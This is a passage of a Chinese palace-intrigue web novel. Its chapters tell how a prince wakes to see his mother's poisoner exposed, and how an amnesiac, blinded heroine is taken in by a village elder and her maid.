见其情绪似是忽然又激动了起来,张嬷嬷方才低头看了一眼水盆中漂浮着的那幅禅院走水图。没想到,她仅仅是跟乐太医大致描述过几句,那乐松竟能将其绘制的如此逼真,就仿佛是自己亲眼见到过一般。 稍作迟疑,张嬷嬷缓缓抬起头来故意试探道“不可以?什么不可以?这可是用神符浸泡过的圣水,是可以让殿下得以清醒过来的神水,怎么就不可以了?莫非…莫非八年前,你害死太妃还不够,今日亦想要殿下的性命?难怪你至今都还未服侍殿下擦拭双目,你是不是怕他醒来知道了你的丑陋面目,还是…你到现在…还是太后的人?” 闻此,陆天骄即刻暴跳如雷,激动地道“胡说,简直是一派胡言,我怎么可能会害翰哥哥。就算整个全世界的人都会伤他,我陆天骄也不可能会伤翰哥哥半分,更又怎么可能会是太后的人?自那以后,我便……” 说着说着,陆天骄顿觉自己一时激动,竟失了言,便赶忙低头收住了声,再次缩了起来愣在原地里再也一动不动地安静下来。 此情此景,在场所有人的目光无疑都惊讶连连地落在了她的身上。 张嬷嬷站着与其四目相对了半晌,见她已然是此地无银三百两,早已不打自招,便兀自迈步径直朝着榻边走去。 陆天骄猛一抬头欲言又止,竟还想上前去栏,不料被殿内的程良一个眼神令下,那两名侍卫直接大步上前架起了她的两只细嫩胳膊,极轻松地便将其朝后拖到了放置水盆的雕花木架旁窗边上。 她一边挣扎着,一边道“放开我,你们放开我……”然一撞上程良那眉头紧锁、一脸严肃、满是愤怒的眼神,便即刻敛声停了下来,并朝其似是即便在此时,依旧极不福气的冷哼了一声,撇过了头去。 只见张嬷嬷一走到榻边,便拿起一条洁白柔软的布巾来将其仔细折叠整齐。接着,又捏起一端来在水盆里完全浸湿透了,拿出轻轻挤掉其多余的水分。 这才按照青袍道长所言,一面重复不断地在双目紧闭着的轩辕翰双眼周围轮流打圈擦拭着,一面嘴里放低了声音虔诚地喃喃念叨道“真龙出海,灵空一统,凤凰涅槃,浴火重生,生既是死,死亦是生……” 就这样,不知道究竟重复着念叨了多少次,张嬷嬷终于停下了手里的动作,亦将双眼缓缓睁了开来。 然当她一睁眼便着急地看向眼前病榻上的人脸上时,却当即露出了一脸的灰心与绝望。因为,在那张尊贵似是天成的面孔上,其一双眼睛至今依旧还是深深地昏迷着,与之前相比并无半点不同,根本没有如那青袍道长所言,在她按照其嘱咐帮其以此圣水拭目并默念此咒17遍后,府中的贵人即刻便可得以苏醒过来。 而此时,并不止张嬷嬷一人,就在其开始默念心咒时,周围所有的一切,就连空气仿佛都凝固静止了下来。此刻,殿内的所有人全都屏气凝神地诚心祈祷和期待着这一奇迹的出现。 林月轩寝殿内外,一片寂静。 忽然,陆天骄将那眼巴巴的眼神从病榻上的人脸上收回,忿忿不平地炸出一声冷笑“哈哈哈哈哈…怎么样?我就说了那水有问题,你非要用,这下总该相信本小姐的话了吧。那根本就是那些整日里不务正业故作玄虚者,存心不良想要骗人钱财的鬼把戏而已,只有傻瓜才会信。” 虽说她的心里也很期望这道所谓的灵符,真的能让她的翰哥哥清醒过来,可事实摆在面前,她便又开始肆意张狂起来。 闻此,所有人都不约而同地皱眉怒目瞪向了她,只有张嬷嬷依旧还在怔怔地注视着轩辕翰的眼睛,似是仍不甘心,不愿放弃地等待着。 就在这时,一股夜风透过陆天骄身旁的窗户吹了进来,将贴在窗户外面角上的一张白纸吹落了下来,正好掉在陆天骄的脚下。 陆天骄看到,不禁秀眉微蹙了一下,顺势弯 下腰去将其捡拾了起来,身旁众人见了皆都心里咯噔一下,瞬时亦随之变得紧张了起来。 第二百二十二章:曲终人散,万念俱灰 闻此,张嬷嬷叹声道“陆小姐果然是陆小姐,聪慧非同一般。那就是说,陆小姐现在是亲口承认了今夜在这个寝殿里自己所说的一切了。” “哈哈哈哈哈……是,本小姐承认,本小姐今夜所说…全部属实。可那又怎样?这秦王府的主子是翰哥哥,可不是你们这些奴颜婢膝之辈。你们说的,和本小姐说的,你猜…他到底会选择相信谁?”陆天骄仰头大笑一声,继而侧身附在张嬷嬷的耳边肆意地说道。 张嬷嬷一脸严肃,郑重其事地对其厉声喝道“跪下,跟秦王府的主子叩首领罪!” “秦王府的主子?不知你是说…已经昏迷多日不省人事的翰哥哥,还是八年前早已故去的太妃娘娘,亦或是现在我眼前你这个挂着羊头卖狗肉的大胆奴才?”陆天骄这话说的嚣张放肆至极。 而就在这时,大殿里忽然传出一男子的沉声“跪下!” “谁在说话?”闻此,陆天骄赶忙转身朝着程良及侍卫身边望去,却只见程良和俩名侍卫忽然间似是极为郑重地俯身跪了下来,紧接着大声参拜道“属下参见殿下!” “殿下?”闻此,陆天骄却顿时怔愣在原地,似是一动也不敢动,整个人甚至还有些瑟瑟发抖着。 待至听到榻上之人依稀发出些许轻微的声响,乘着其分神之际,张嬷嬷一把挣脱掉其束缚,忙上前去终于将早已清醒过来的轩辕翰扶起身来坐到榻边,侍候其穿好鞋袜。 正欲起身行礼,轩辕翰忙伸手将其一把拦住,却定睛对着陆天骄的背影震怒呵斥道“本王叫你跟张嬷嬷跪下,你是不是没听到?是不是还要本王再说一次?” 这一几近震耳欲聋的大声斥责,似是方才将如同尚还处在梦境一般中的陆天骄,终于拉了回来。 随即一转身便朝向榻边人奔去,故作一脸委屈道“翰哥哥,你醒了,你终于醒了。你可要为天骄做主啊。秦王府的这些胆大包天的奴才,乘着你重伤昏迷,假传你的命令不许任何人踏入林月轩内半步。天骄费了九牛二虎之力,方才进来这大殿里。可夜里,他们竟然合起来装神弄鬼,吓唬天骄,还诱骗天骄服下迷药,产生了幻觉,胡言乱语。你看,这些,这些都是他们的罪证,还有案几上那天骄已饮尽了的花茶茶碗……” 然未及陆天骄将话讲完,轩辕翰却依旧还有些孱弱地忿忿道“住口,休要在此继续颠倒是非黑白,胡言乱语。你若是平日里心中坦荡,又怎会受这些雕虫小技影响?” 陆天骄一脸惊诧,道“翰哥哥,我……” 这时,跪在大殿中央的程良开口禀道“启禀殿下,是陆小姐今日乘着属下进宫之际,居心不良潜入杏林阁里窃取了曼陀罗,加进张嬷嬷的药汤里, 若不是乐太医及时发现,给张嬷嬷服下解药,张嬷嬷年事已高,怕是早已经……属下等人只不过是‘请君入瓮,以其人之道还治其人之身’不想,竟查出了八年前太妃的死……” “你胡说,你血口喷人,我哪里有窃取过什么曼陀罗,我是好心见到张嬷嬷与我父亲有相同的病症,所以用我父亲的秘方为她到杏林阁里抓了药。谁想她尽然恩将仇报,如此待我?”陆天骄一口咬定道。 “哼,早就料到你会这么说的,都进来吧。”程良一脸淡定自若地朝着殿门口唤了声道。 只见一前两后,进来一男两女,一入大殿内便极为恭敬地朝着榻边端坐着的那位不怒自威的男子叩首行礼。 “老臣乐松,参见秦王殿下。” “燕栖阁女婢,参见秦王殿下。” 轩辕翰朝其三人正色道“有本王在此,不许你们胡言乱语,任意栽赃陷害,但更不允许你们顾念旧情,故意包庇。” 三人齐声道“是……” 乐太医先开口禀告“老臣作证,程将军方才所言全部属实。殿下请看,这便是陆小姐给老臣抓药的方子,方子本身是没有问题的。可她却乘着老臣抓药离开药房之际,私自取走了一些曼陀罗,将其加入了其中一副里,自己煎好了这副药给张嬷嬷服下。许是陆小姐做贼心虚紧张大意了,这个药罐里很明显有曼陀罗的残渣,老臣原是看到张嬷嬷在老臣处服药用过的药碗里有曼陀罗的残迹……不想老臣正在思量,陆小姐却忽然又返回来杏林阁里抢了老臣手里的药碗,将其洗的干干净净。” 话音刚落,燕栖阁那瓜子脸婢女亦将手中的茶盘奉上,道“秦王殿下,这是程将军带人在燕栖阁里搜出来的药渣。奴婢们下午闻到阁中有药味儿,便寻见陆小姐亲自动手在煎药,奴婢们说要帮她,可她说什么都不让。奴婢们以为是她自己有什么隐疾,不想让咱们知道,便也就走开了,请秦王殿下明察。” 至此,程良忙起身来将乐太医和婢女所呈上来的所有证物拿到轩辕翰面前给其查看。 见此,轩辕翰一脸诧异,竟忽然咳了起来,道“你还有什么话说?” 陆天骄一脸无措,再也装不下去了,支支吾吾道“我…我……” “如此说来,这里并无一人冤枉你了。”轩辕翰竟淡淡地说道。 见其垂首无语,显然已无话可反驳的默认了,轩辕翰便抬眼看了看大殿里的众人,正色道“除了张嬷嬷和程将军以外,其他人都退下吧。今夜发生在秦王府里的事情, 第二百二十三章:自此之后,再无所惧 庄严肃穆的寝殿内,曲终人散,一切从未有过的喧嚣终得以谢幕。此时,又恢复了以往的寂静与冷清。 就着夜空中皎洁宁静的一片温柔月色,徐徐轻风穿过殿内半开着的那扇窗户轻拂进来,似是在安抚着殿内主人此时波澜汹涌的心绪一般。 程良默默地从边上取来了一件云纹白袍替其细心披上,方才注意到主子在喷出一大口鲜血后,额角不知何时竟已渗出来点点汗渍,侧看其眼神似是也有些飘忽迷离着。 此时,他低垂着的面容上满是孱弱,却还是双手紧紧握拳强撑在榻沿上,不停地颤抖着,就连呼吸一时间仿佛也都变得急促了起来…… 见此,程良着急担心地道“殿下可是身感不适?属下这就去找乐太医过来。” 正欲转身,岂料轩辕翰突然伸出支撑在榻沿上的一只修长骨节分明的大手,将其手臂紧紧地捉住,却依旧垂首着不言不语,似是在隐忍着此时身体上极为难忍的一种痛楚,又似是在孤独地一人承受并努力平复着什么事所带给他心间的又一巨大重创一般。 偌大的寝殿里,主仆俩人就这样静静地不知一起沉默了多久,轩辕翰终于缓缓松开了那只紧附在程良臂上的手,只见程良顿时似是极为不适地按了按被他捉过的地方。 轩辕翰这才抬起眼来,依旧冷冷地开口沉声了句,道“不碍事,本王方才只是一时气血攻心而已,休息会儿便没事了。” “那殿下就躺着好好歇会儿吧,最近发生了太多的事,可无论如何,殿下还是得先把身子养好才是。”见其似是终于缓过了神来,程良却还当真以为是他伤势骤发,才至如此。一边说着,便急急弯下了腰去,伸手欲替其褪去鞋袜。 不料轩辕翰却伸手急急一把将其挡住,一手抚在胸口,随之缓缓舒了口气,继而将目光忽然移向程良的脸上,异常坚定地问道“云儿呢?有没有她的消息了。” 轩辕翰已醒,程良自是有很多事情要向他汇报,比如:城南之事后来如何了?还有今夜关于太妃仙逝的真正原因及所牵涉出来的太后与璟帝的阴谋究竟是什么?那陆天骄又该如何处理?当然,还有方才燕栖阁的那个婢女跟自己所交代的关于东宁国的阴谋,等等等等…… 可显然,程良怎么都没有想到,昏迷了那么久终于清醒过来的主子,方才那么不清不楚地急于平息掉今夜所发生的事,几乎没有任何处罚便遣去了殿内所有人。而此时,竟先独独只是关心起来衣上云的消息。 这个主子,很显然早已经不是以前那个‘先天下之忧而忧,后天下之乐而乐’的唯只心怀西秦大地安危及其子民安居乐业的英明王爷了。 甚至于,在今夜里得知了其母 妃当年的突然薨逝,并不是一场意外,而是遭人悉心策划的一场阴谋所致,他竟亦能如此淡定而不闻不问。 程良怔怔地望着此时自己感觉陌生极了的主子的脸许久许久,俩人四目相对,程良一脸诧异,可看着他那始终都一如既往的一脸决绝而坚定的眼神,似是此时绝不容他有丝毫回避和置喙,但他又究竟该如何回答他呢。 半晌后,轩辕翰看着他的眼眸似是变得越来越深,程良终于再也承受不住其眼神的一再逼问,最后只似是亦极为不忍心地断断续续反问道“殿下,您真的相信衣姑娘…她还活着吗?……坠崖的当天夜里,那可是霹雳漫天…疾风骤雨…大雨滂沱啊…湖水又是…又是那样冰冷,还有湖滩上的那块被鲜血染红了的岩石……” 闻此,轩辕翰终于收回了视线,可刚刚似是方才有些平复下来的眉头却又骤然蹙起,望向殿内一处沉默了许久,沉声缓缓道“本王相信,她一定会活着,一定会好好活着。因为,她答应本王的事,都还没有做。秦王府的大门,她还从未名正言顺地踏入过。她是本王的人,有我轩辕皇族列祖列宗的庇护,是生是死,只有本王说了才算,没有本王的允许,她绝对死不了,也没有任何人敢夺去她的性命,就算是天…也不可以。” 看到轩辕翰竟对衣上云如此渺小的生还几率如此执着,程良不禁忧心道“可是万一呢,毕竟那夜里……” “住口,没有什么万一,没有……”岂料话刚一开口,轩辕翰便顿然起身,将脸侧了过去,对着程良发出从未有过的一震耳欲聋几近是疯狂的厉声,将其剩余话语死死挡了回去。 显然,轩辕翰此时嘴上说是这样说的,可心里又怎能不怕,其实,他害怕极了,怕是只有他自己才知道他内心里实际上有多恐惧,多着急,多在意这个女人。 这次,就连自己一个身怀武艺的人都伤的如此之重,更别提衣上云了。她只不过是个手无缚鸡之力的弱女子而已,然此时程良在他耳边一次又一次提到的,其每一句又何尝不皆都是不争的事实呢。 &nb 第二百二十四章:未到打草惊蛇的时候 “这几句话,不像是出自经书,真会有如此之大的力量?‘真龙出海,灵空一统,凤凰涅槃,浴火重生,生既是死,死亦是生’是什么意思呢?”程良亦跟着其主子念叨了一次,却是一脸茫然。 半晌后,轩辕翰似是终无一丝头绪,于是妥协说道“算了,想我们主仆二人今夜也是猜不出什么来的。这话出自张嬷嬷之口,不如,明日你找张嬷嬷问问,看她这话到底是打哪儿听来的?问问她会不会知道些什么?” 然程良闻之,却顿时露出一脸的难色来,不禁挠了挠脑袋,吞吞吐吐道“殿下…这个…属下可能…有点不好办?” “不好办?只不过是问句话而已,这有什么不好办的?”轩辕翰双眼抬起一怔,继而转过身来,朝着程良一脸匪夷所思道。 程良抿了抿嘴,一咬牙道“殿下您应该知道,张嬷嬷她是忠心耿耿跟了太妃一辈子的人。八年前太妃娘娘的死,除了张嬷嬷,我们所有人都把它真的当成了一场纯粹的意外了,不是么?殿下是太妃娘娘遗留在世上唯一的血脉,如今,她就是担心殿下您也会像太妃娘娘八年前一样,一觉睡去便再也醒不过来,这才乘着殿下在弥留之际,设计了今夜所发生的这一切,还险些被陆小姐的药差点毒死。不管殿下能不能听到,亦或能不能看到,她只想要当着殿下的面,让真正的凶手浮出水面,亲口承认其罪责,并付出应有的代价。如此即使殿下真的…也不至于稀里糊涂地去见太妃娘娘。可殿下您呢?如若殿下没有清醒倒也罢了,既然殿下已经清醒,难道不该好好追究此事么?殿下您一向奖惩分明,可今夜却为何执意只教陆小姐对张嬷嬷叩首谢罪,您明知道张嬷嬷要的并不是这个。这难道不是殿下您在变相地袒护着陆小姐么?难道就只因为她是陆贤的女儿,您便对其有所忌惮?想必此时的张嬷嬷一定心如刀割,寒心极了。怕是她对殿下您早就已经失望透顶了?试问殿下,如此,她还会理会属下么?” 程良似是好不容易鼓足了很大的勇气,几乎是一口气竟忿忿道出如此一大堆话来,因为他着实不能理解主子为何如此包庇一个杀人凶手。 然轩辕翰却立在一旁始终没有反驳半句,只是不知何时,他却早已悄悄地背过身去,闭起了那对不怒而威,寒光四射的星眸来,似是陷入了一片沉沉的思索之中。 许久后,他忽然深吸口气,缓缓将眼眸再次睁开,却反问程良道“其实,我们大家心底里都很清楚,真正的凶手并不是陆天骄,她只不过是一时贪玩,遭人利用了而已……” 不想轩辕翰话还没说完,程良便急急开口将其打断,忿忿不平地大声气道“可难道她就一点儿责任也 没有了吗?” 轩辕翰亦扬声朝其怒吼道“她当然有错,可现在还未到打草惊蛇的时候。无论是处置陆天骄,哪怕就是让整个陆氏满门来为母妃的死谢罪,对于本王来说,都是易如反掌。但是…你有没有仔细想过,处置了她,或许本王就刚好中了某人的奸计了。” 程良闻此,一脸惊讶与疑惑道“打草惊蛇?中了某人的奸计?” 轩辕翰吐了口浊气,道“这个世上,有那么多人,太后为何却偏偏选了她来做这件事?难道一切都刚好只是巧合吗?当年,她已经是太后了,却还是千方百计地想要将本王母子赶尽杀绝。以此可见,太后是何等的心狠手辣之人。而陆天骄帮她做了如此见不得光的事,她却还能让她活到现在。尤其让人不解的是,自那以后,她们之间却似是陌路一般,再无了任何瓜葛……如果本王没有猜错的话,她一定还会再找她的?” 程良这才恍然大悟道“殿下的意思是,陆小姐从八年前开始,便已经成了太后安插在秦王府的一枚棋子。而且是不到万一,不轻易动用的那种?…太后之所以选陆小姐亲手来做这件事,一是因为太妃娘娘对陆小姐这个外人疏于防范,二是太后她知道只有陆小姐才能自由出入得了秦王府。让她去做这件事,太后亦以此而留下了陆小姐的把柄于手,日后便于用来威胁她再次就范。可她却万万没有想到,她深谋远虑,精心所设计的这一切,竟然被张嬷嬷给揭发了……所以如果我们现在突然处置了陆小姐,太后便会对秦王府有所警惕,日后便将漏不出马脚来了……太后可真是不简单啊,可她接下来的计划到底是什么呢?”【…~!#免费阅读】 程良此时所问的,也正是轩辕翰至今思之不得其解的。 跟着主子一起沉默思量了许久,程良忽然似是想起了什么,不解地道“可是属下不明白,据陆小姐所说,当年听到太后所说的是,皇上并不赞同她对秦王府下手。却为何她还是要一意孤行,对太妃下手呢?” 闻此,轩辕翰一边回忆着,一边缓缓踱步到殿中央的案几边坐下,对其幽幽道“父皇在世时,盛宠母妃,自古后宫与前朝本就息息相关,故此朝中大臣亦因此而多以母妃靠拢。然太后既然得位,为了顾忌其德,自是不能对大臣们下手,可又忌惮太多大臣们的势力对其来之不易的皇权所造成的威胁。太后认为,本王年幼,若是没了母妃的庇护,自会失去这些大臣们的支持。所以,只要她除去母妃,就等于折断了本王的羽翼。以前,本王还真以为他们如此善待本王,可如今,本王才算是真正明白了……” “可他们却没有想到,殿下您不但成功地 第二百二十五章:寻高僧徒劳而返 ,命里无时莫强求、因果轮回、百世契约、花开花落、既来之则安之。” “你是谁?你是谁!你是谁……” 老妇人忽然闻此,猛地睁开了眼睛,怔怔地凝视着床上的女子,一时间惊呆了。 怔愣了半晌后,看到女子最后终于缓缓平静了下来,止住了声,又继续沉沉地睡了过去。她方才缓过神来颤颤巍巍地口中喃喃道“魏明轩?殿下?秦王?还是昊儿?亦或是玥儿?……这听着应该是她遇难前所说的一小片段,她让他松手,不然会没命的。不,不可能是昊儿,他还那么小。玥儿又是个女孩子,更不会是她。” “那便只能是…翰儿,她竟与翰儿相识……”念及此,老妇人顿时朝其瞪大了眼睛,一脸的不可思议。 多年以后,当再次从另一人的口中,尤其是从眼前的这名女子口中,听到关于西秦皇族人的消息时,老妇人不禁顿时潸然泪下了起来。 “咚咚咚”忽然,一阵紧急的叩门声从院子里传了进来。 老妇人赶忙拭了拭眼角的泪水,起身缓缓踱步出门去。 刚一到门边上,门外便传来似是一铜铃般的清脆声音唤道“老夫人,快开门啊,我是欢儿。” 老妇人闻之,一时间顿足不知想到了什么,只片刻后忽然一脸欣喜地大惊一声道“欢儿,是欢儿将玄空大师请回来了,太好了,真是太好了。” 似是此时太过于激动,当再次起步时,竟险些被自己给绊倒了,继而赶忙伸手将门打开来。 然开门后,却顿时现出了一脸惊愕,她急急越过欢儿娇小的身子,朝其身后四处仔细张望着。 片刻后,正欲开口说话,却被欢儿一脸泄气 地抢先开口道“老夫人您别找了,那个什么玄空大师根本就没来。” 岂料多年以来,一向待人和蔼可亲的老妇人,竟第一次如此沉不住气地朝欢儿扬声呵斥了起来,道“胡说,没来,这怎么可能呢?当年,是玄空大师亲自带老身来到这个与世隔绝了的桃花店村里落脚。临走的时候,还曾经对老身千叮咛万嘱咐,要老身切记,待到紫芒现世于此地之际,务必再往城隍庙里寻他相聚于此为其解除封印,解救众生。如今紫芒已然现世,他怎么可能不来呢?” 欢儿此时却似是并顾不得主人的教训,只觉天还没亮便开始,至今已赶了许久远路的自己,嗓子干的似是都快要冒烟了。 她一踏进门来,便蹙眉径自朝着屋里急急奔去,老妇人跟在其身后不停地说着。 欢儿进了屋,兀自倒了一碗水将其一口气闷下,这才感觉自己似是终于又活过来了。 继而用袖子抹了一把嘴角的残渍,方才近身上前扶起老妇人的胳膊,将其按着坐下来在案几边,一边捉起自己的两个小拳头帮其捶背,一边说道“老夫人别急,您让欢儿喘口气再慢慢说嘛。” 闻此,老妇人方才吐了口气,似是有些缓和了下来,道“到底怎么回事?” 欢儿一边捶背,一边回忆着幽幽道“是这样的:昨日午后,欢儿到了城南城隍庙以后,有个僧人只告诉欢儿说,玄空大师云游四方去了,不知何时才能回来。可欢儿话还没说完,他们便就这样把欢儿丢到了一边……” 欢儿话未说完,老妇人便再次怒声责怪道“你难道没跟他们说你是打哪儿来的吗?” 欢儿忙道“哪里来得及说啊,他们只说是什么秦王府的秦王妃要到庙里上香,为秦王殿下祈福,庙里的僧人都要为此而去准备。” “秦王府?秦王妃?…秦王已经大婚了?”老妇人闻此,心里忽然怔了一下,惊了一声道。 “听说秦王妃是当今皇上赐婚的,身份极其尊贵,是富甲一方的东宁国永乐公主呢!”欢儿顿时一脸羡慕道。 第二百二十六章:重生,海棠花下谁人家 “真龙出海,灵空一统,凤凰涅,浴火重生,生既是死,死亦是生……” 就在老妇人正半眯起眼睛独自细细揣摩这句似是更颇具深意的话时,一旁不远处小床上昏迷的女子不知何时竟已悄悄睁开眼来,在床上端坐起。 立在老妇人身旁,不停挥动着两只小拳替其捶着背的欢儿,眼睛一撇,顿时被吓得朝其瞪大了那双圆溜溜的大眼睛,嘴巴一张一张地竟说不出一句完整的话来“老夫人,醒…醒…醒来了,醒来了……” 侧身而坐,尚且还陷在自己一片深思中的老妇人闻声,厉声呵斥道“欢儿莫要吵闹,老身醒着呢,老身只不过是在思量那小沙弥的话而已,‘真龙’‘凤凰’…老身怎么觉得这句话,好像是在说俩个人似的……” 岂料欢儿见主人一动不动,竟忽然停下了手里的动作,不停地拍起老妇人的肩膀来,依旧激动不已地道“不是,不是,是…是…是那位姑娘醒来了……” “什么?”老妇人闻之,这才急急回过神来转头朝其看了过去,一时间竟踉踉跄跄地起身来快步朝着床上的女子身边奔去。 只见那女子正端坐在床上,一只手吃力地支撑着自己虚弱的身子,另一手则轻抚着脑袋上的伤处,许是伤口还尚未愈合的缘故,她脸上的表情明显似是有些隐忍痛楚和凝重的样子。 “姑娘,你终于醒了!”老妇人一近身过去,便一脸欣喜地问道,欢儿亦紧随其后,露出一脸灿烂的笑容。 不想那女子似是思索片刻后,忽然将抚在伤处的那只手缓缓放下,接着却一连同时炸出了几句“你是谁?这里是哪儿?发生了什么事?现在是夜里吗?为什么这么黑?怎么到处连一点儿灯光都没有?” 闻此,主仆俩顿时四目相对,你看我,我看你,都露出了一脸惊愕,接着又一起望了眼外面白花花的一片阳光,再次面面相觑了起来。 半晌后,只见老妇人那刚刚舒展开来的眉头再次皱了起来,继而慢慢伸出一只似是有些颤抖的手掌来在女子的眼前晃了晃。 然却见女子那世间极其难得好看的一双凤眼,始终呆滞着似是没有丝毫反应。 见此,老妇人的心里不禁顿时咯噔一下。就连立在她身旁的欢儿亦是一时间里屏气凝神,一动不动了。 许久后,老妇人隐忍着心间的悲伤,深吸口气开口对其幽幽说道“姑娘,这里是西秦国的境界,一个名唤桃花店的小村落。村子里的人都叫我老夫人,你也与他们一道唤我老夫人吧,她是我家的丫鬟,叫做欢儿。我们也不知道你出了什么事?我们是前天一大早从村外的河边将你救回来的。还有…现在…现在不是夜里,而是白昼,是大清早,太阳已经升起很久了,你……” 闻此,女子的身子不禁忽然一抖,似是极为吃惊地扬声开口将老妇人的话挡了回去“什么?现在是白昼?那我岂不是……”说着,便一把掀开了覆在腿上的被子,兀自 跌跌撞撞地想要下床来到院子里的阳光下去亲自证实。 见此,俩人忙一起伸出手去捉住了女子的胳膊,欲将其紧紧按回去,不料女子的双手却极为灵活地迅速顺势一个反转,倒反将二人紧紧捏住,力气渐大,竟捏得俩人直生生地疼。老妇人不禁心中惊异,如此外表柔弱的一个女子,竟会有这般强大的力量。 于是,她紧忙开口劝阻道“姑娘万万不可,你头上的伤至今尚还未痊愈,情绪不可太过于激动。姑娘的眼睛和记忆,兴许只是因此伤而造成的短暂性失明和失忆而已,只要好好修养,假以时日,相信一定会恢复,再见光明的。” “对对对,这一切,一定是姑娘头上的伤所造成的,一定会都痊愈的。”愣在一旁早已傻了眼的欢儿亦连连用力地点头附和着她的主人道。 闻此许久,二人方才缓缓感觉到附在各自手腕上的手劲慢慢松了下来,直至彻底撒手不再有任何丝毫反抗。 见似是女子已听进去了二人所言,终于渐渐安静了下来。老妇人这时方才吩咐身旁的欢儿道“姑娘既然已经醒了,你赶快去煮些清粥小菜来给她,她已经多日未食,想必一定是饿坏了。” “是,欢儿这就去准备。” 欢儿退下,老妇人凝视了女子片刻,继续安慰她道“姑娘也不要太过于着急,我们将你从河里救起的时候,你的衣裳都已经破了……” “我的衣裳破了……”说着,女子便急急往自己身上胡乱摸去。 老妇人见了,忙解释道“姑娘莫要担心,只是衣裳被挂破了而已,你的身体完好无恙。” 沉默了片刻,老妇人再次将苏醒后的女子周身细细地打量了一番,越看越像。左思右想终还是开口试探问道“姑娘…你真的不记得自己是谁了吗?比如,姑娘的芳名?是不是叫做‘若曦’?” “若曦?”女子纳闷地重复了一句,却是一脸的一无所知之态。 见到女子已然对于自己过去的一切,全然不知。老妇人深深地叹了口气,心里道:苍天啊,你可千万不要跟老身我开这种玩笑。八年了,整整八年,老身等来的却是一个失忆又失明的守护者。这样的一个人,她真的还能担得起拯救苍生的艰巨而又神圣的使命么? 一时间里,一室寂静,似是连周围的空气亦都凝固了下来,令人窒息。 时间总是过的很快,转眼便到了黄昏时分。 村里的小河静静地流淌着,而元宵节的大街小巷上,则热闹非凡,家家户户都张灯结彩。过了今夜,这个年就算是彻底过完了。取而代之的,是充满新希望的一年的到来! 村子里,到处都是手里拎着各式造型的灯笼出门来游灯笼的天真孩童,晚饭过后聚集在村口准备一起‘走三桥’了。 这时,刚陪老妇人敬完香的欢儿,亦迫不及待地开口请求道“老夫人,若是没有其它什么事的话,欢儿可否带那位‘若曦’姑娘在村子里走 走,看看村里的夜景呢?” 因为女子失忆,已然记不起自己的名字来,又总听老妇人提起若曦来,便自己提议让大家都称呼她作‘若曦’,直至她想起自己的过去和名字来为止。 “去吧,只是不要太贪玩,那姑娘身上还有伤,早些回来,不要着凉了。”老妇人答应道。 “哎,欢儿知道了,谢谢老夫人。”岂料欢儿话音未落,便已不见了身影。 老妇人望着其消失的背影,摇了摇头一脸无奈,嘴角不禁浮出一抹今日里难得的好看弧度来。 此时,女子正一袭粉嫩衣裙,一头乌黑油亮的长发高高地简单束着挽起。静静地站在院子里的海棠树下,摸索着捧起一枝海棠优雅地靠近鼻翼边闻了闻。 恰时,一阵微风拂过,满院的香气四溢,海棠花瓣随风轻轻地被吹落了她一身,美人如花亦如画,不外如是。 然此时,女子却不禁立于花下,满腹惆怅地叹息道“海棠花下谁人家?……我到底是谁呢?” 就在这时,欢儿轻轻地踮起脚尖走到了她身后,一脸兴奋地从后面在她的肩上忽的轻拍了一把,道“若曦,走,欢儿带你到街上看灯去。” “看灯?”女子寻着发出声音的方向,脚下微微侧了一下,便刚好朝向了欢儿,疑惑道。 “嗯,今儿是元宵节,你不知道么?”欢儿一边扶起女子的胳膊,一边俏皮地歪着脑袋反问她道。 看到女子一脸无动于衷的样子,欢儿这才发觉自己一时欣喜竟失了言,忙低起头来歉然道“哦,我忘了,你什么都不记得了。不过,你也不要太担心了,或许等你头上的伤都好了,日子长了,总归会都慢慢回忆起来了。” 女子闻之抿起嘴来微微笑了笑“元宵节,我知道的。” “你还记得元宵节?”欢儿猛地抬头来,一脸惊愕地望向了女子的脸。然看着她此时那双温柔似水的眼睛,一张透过纯白的轻纱面巾的面容,显得是那样的唯美好看,欢儿不禁都看的似是都有些入迷了。 蓦然回过神来,欢儿趁其不备一伸出手,便猛地牵了女子的手朝门外奔去,嘴里欢快地道“既然如此,那我们就快点走吧。” 而这一日,还有更多的人因了这女子而到处奔波忙碌着。 此时,衣上云的丫鬟燕儿与其同父异母的弟弟衣上俊正坐在回城西的马车里。 俩人千里迢迢,好不容易终于来到了城南万娇阁,又废寝忘食地一到这里,便在其四周到处跟路人及周边的商家,比划着衣上云的样子。 岂料在大街上寻了一整天,竟没有寻到半点儿消息。 如今,万娇阁已然被官府查封,里面的人跑的跑,死的死,被抓的被抓…… 路人也根本就没有一个见过他们所要寻的人。 “小姐一定出事了,她一定是出事了啦!”这时,燕儿无助极了,她一把鼻涕一把泪地道…… 第二百二十七章:她,真的还是她吗? “小姐一定出事了,她一定是出事了啦!”此时的燕儿无助极了,一把鼻涕一把泪地道。 这喋喋不休,令人心生烦躁的阵阵呜咽哭声,却似是并未影响到与她同乘一辆马车的衣上俊的沉思。 如今,他早已不是以前那个整日就只知道在府里与嫡出的衣上云势不两立的心胸狭窄之浪荡少年。他对自己的未来,充满了无尽的希冀与信心。 ‘驰骋沙场、保家卫国、建功立业、鲜衣怒马、烈焰繁花’这才是一个顶天立地的好男儿的精彩一生。而这一切,却都是因为衣上云,他方才有机会能将之得以实现。 所以,对于衣上云,他的心里早已不知不觉中悄悄滋生起一丝谢意与敬重。或许,这种感觉甚至出现地更早。 那应该最早,自从衣上云昏迷一年后忽然醒来的那个夜里便已经存在了吧。那夜,衣上云一袭夜行衣装扮出现在衣府后院,被他们母子三人正巧撞见,衣上雪气不过,故意借此想要欺负教训她,岂料她竟平生第一次紧紧地捉住衣上雪的手腕反抗,不甘示弱地对他母子三人毫无所惧地扬声说出那句‘想要衣家嫡长女的身份,除非我死,有本事就来取了我的性命,你便是衣家嫡女了。如若没有那本事,最好安分点。’ 后来,在全家人都束手无策的时候,她却仅凭自己一己之力,进宫查明了太后昏迷的真相,救出了父亲;也因此而被受牵连,被迫入宫为奴为婢,却从无半点怨言;甚至,他又听自己的那些狐朋狗友议论说,在宫里,她更是屡建奇功,治愈了太子的天花,深得公主的信任,还忠心护主,因亲自在皇上面前谏言反对公主和亲北烈皇子之事,而被雪中罚跪…… 此时,他想着清醒后的衣上云的种种坚毅、独立与勇敢,不禁深叹了口气,嘴角微微上扬,露出一抹好看的弧度来。 忽然,似是心底又浮起了一丝疑惑,便想要问问整日服侍在衣上云身旁的燕儿,或许她更清楚一些。 岂料猛一抬眼,这才看到燕儿竟不知何时已眼角含着泪水歪靠在马车的一边睡了过去,应该是这两日以来,昼夜赶路,又废寝忘食地寻人,她是真的太累,也哭累了吧。 